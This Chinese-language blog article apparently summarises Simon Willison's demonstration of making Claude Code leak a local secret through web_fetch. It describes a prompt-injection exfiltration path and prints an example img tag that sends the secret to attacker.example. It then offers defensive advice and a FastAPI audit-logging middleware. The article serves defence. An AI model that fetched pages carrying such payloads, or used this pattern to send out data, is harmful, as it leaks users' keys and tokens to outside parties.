我怎样骗 Claude 泄露你的秘密:`web_fetch` 让浏览器成了新的数据泄露通道
我怎样骗 Claude 泄露你的秘密:web_fetch 让浏览器成了新的数据泄露通道
导语
Simon Willison 刚发了一篇实操文:他用 Claude Code 的 web_fetch 把一段本应留在本地的 secret 文档给“骗”出去了。这不是理论推演,而是你我现在就能复现的攻击路径——前端团队如果还只把 AI coding assistant 当聊天框来用,安全边界其实已经破了。
正文
问题:秘密不是被破解的,是被页面“带出去”的
很多工程师对 AI Agent 的安全想象还停留在“会不会删我文件”“会不会跑危险命令”上。但 Simon Willison 这条攻击路径完全不同:它不需要你 grant 文件读写权限,不需要 shell,甚至不需要你显式把 secret 贴在对话框里。
攻击链条的核心是 外部页面内嵌资源:当 Claude 去 fetch 一个页面时,页面里的 <img src="https://attacker.example/?secret=..."> 会由浏览器环境发起真实请求,而这段请求的完整 URL 就会被记录在访问日志里。换句话说,只要 Agent 打开了带 web_fetch 的外部页面,你的敏感参数就可能顺着请求头、Referer、资源 URL 溜出去。
这不是理论,这是一条已经可用的侧信道。
方案:不要默认信任 Agent 的抓取环境
Simon 给出的防御思路非常工程化:
- 给 secret 划隔离区:不要把 API key、token、session 和主环境混在一起。哪怕发生 fetch 泄露,也只能损失一个测试 key。
- Agent 浏览器单独隔离:给 AI 工具配一个独立 profile / container,主环境账号、cookies、localStorage 一概不通。
- 外发请求走代理审计:让所有 fetch / web_fetch 的请求先过一层日志代理,记录完整请求 URL、Query string、Header。这是事后溯源的前提。
- 把“外链资源”当成潜在注入:浏览器里看到的
<img>、<script>、<link>都不要默认信任,尤其当页面来自非白名单域名时。
代码:Proxy Audit Middleware
下面这套代理中间件能把 web_fetch 类请求的完整信息落库,方便你事后复盘:
import hashlib
import json
from datetime import datetime
from pathlib import Path
from fastapi import Request
from fastapi.responses import JSONResponse
AUDIT_LOG = Path("audit/agent_fetch.jsonl")
AUDIT_LOG.parent.mkdir(exist_ok=True)
async def audit_middleware(request: Request, call_next):
if request.url.path in ("/web_fetch", "/fetch"):
body = await request.body()
payload = json.loads(body or b"{}")
record = {
"ts": datetime.utcnow().isoformat(),
"url": payload.get("url"),
"method": request.method,
"headers": dict(request.headers),
"params_hash": hashlib.sha256(
json.dumps(payload, sort_keys=True).encode()
).hexdigest()[:12],
}
with AUDIT_LOG.open("a", encoding="utf-8") as f:
f.write(json.dumps(record, ensure_ascii=False) + "n")
return await call_next(request)
如果你用的是 Claude Code / Cursor / Windsurf,都可以在本地反向代理上挂一层类似逻辑,把 Agent 发出的所有 web_fetch 请求先记下来再转发。
结论
不要把 AI coding assistant 当成“只会看代码”的沙箱;它在浏览器环境里能做的事,和普通用户一样多。当你开始把 secret 交给 Agent 时,第一道防线不是模型,而是网络层的隔离与审计。
收尾
下一条你可以直接做:给团队里用 Claude Code / Cursor 的同学,统一加一条 AGENT_FETCH_ALLOWLIST 白名单。只允许访问明确业务域名,其他外链一律打日志 + 人工审批。这比事后改 prompt 管用得多。
评论区
登录后可评论。












